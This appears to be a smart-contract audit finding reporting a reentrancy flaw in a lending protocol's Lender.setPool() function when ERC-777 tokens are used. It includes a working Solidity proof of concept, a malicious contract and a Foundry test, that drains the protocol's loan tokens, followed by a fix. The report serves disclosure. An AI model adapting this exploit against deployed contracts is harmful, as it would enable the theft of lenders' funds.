20,000 USDC
View results
Submission Details
Severity: high
Valid

Token contract with hooks could drain funds from lenders

Summary

Function Lender.setPool() lets the lenders to create pool or to update pool configurations. The lender could add more token to pool balance and also could withdraw token from pool by updating poolBalance. Tokens are transferred before pool configurations are updated so the function is vulnerable to reentrancy attack if the token contract is malicious or ERC-20 non-compliant (i.e. ERC-777)

Vulnerability Details

Consider a loan token contract is kind of ERC-777, here is PoC:

contract MaliciousLender {
Lender lender;
ERC1820Registry registry;
Pool cache;
bool reentered = false;
constructor(Lender _lender, ERC1820Registry _registry) {
lender = _lender;
registry = _registry;
registry.setInterfaceImplementer(
address(this),
keccak256("ERC777TokensRecipient"),
address(this)
);
}
function setPool(Pool memory p) public returns (bytes32 poolId) {
cache = p;
poolId = lender.setPool(p);
}
function approve(address token, address spender, uint256 amount) public {
IERC20(token).approve(spender, amount);
}
function tokensReceived(
address operator,
address from,
address to,
uint256 amount,
bytes calldata userData,
bytes calldata operatorData
) external {
if (!reentered && from == address(lender)) {
reentered = true;
lender.setPool(cache);
}
}
}
...
function test_erc777() public {
vm.stopPrank();
deployCodeTo(
"ERC1820Registry.sol",
0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24
);
ERC1820Registry registry = ERC1820Registry(
0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24
);
address[] memory addr;
MockERC777 erc777LoanToken = new MockERC777("Loan", "L", addr);
MockERC777 erc777Col = new MockERC777("Col", "C", addr);
erc777LoanToken.mint(lender1, 2 ** 128);
erc777Col.mint(lender1, 2 ** 128);
vm.startPrank(lender1);
erc777Col.approve(address(lender), 2 ** 255);
erc777LoanToken.approve(address(lender), 2 ** 255);
Pool memory p = Pool({
lender: lender1,
loanToken: address(erc777LoanToken),
collateralToken: address(erc777Col),
minLoanSize: 100 * 10 ** 18,
poolBalance: 1000 * 10 ** 18,
maxLoanRatio: 2 * 10 ** 18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
bytes32 poolId = lender.setPool(p);
MaliciousLender malicious = new MaliciousLender(lender, registry);
erc777LoanToken.mint(address(malicious), 2 ** 128);
erc777Col.mint(address(malicious), 2 ** 128);
malicious.approve(
address(erc777LoanToken),
address(lender),
2 ** 256 - 1
);
malicious.approve(address(erc777Col), address(lender), 2 ** 256 - 1);
p.lender = address(malicious);
malicious.setPool(p);
p.poolBalance = 0;
malicious.setPool(p);
assertTrue(erc777LoanToken.balanceOf(address(lender)) == 0);
vm.startPrank(lender1);
vm.expectRevert();
lender.removeFromPool(poolId, p.poolBalance);
}

Impact

A malicious lender could drain loan token from protocol

Tools Used

Foundry

Recommendations

Adhere checks-effects-interactions pattern in function setPool such that tokens are transferred in the very end of function

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!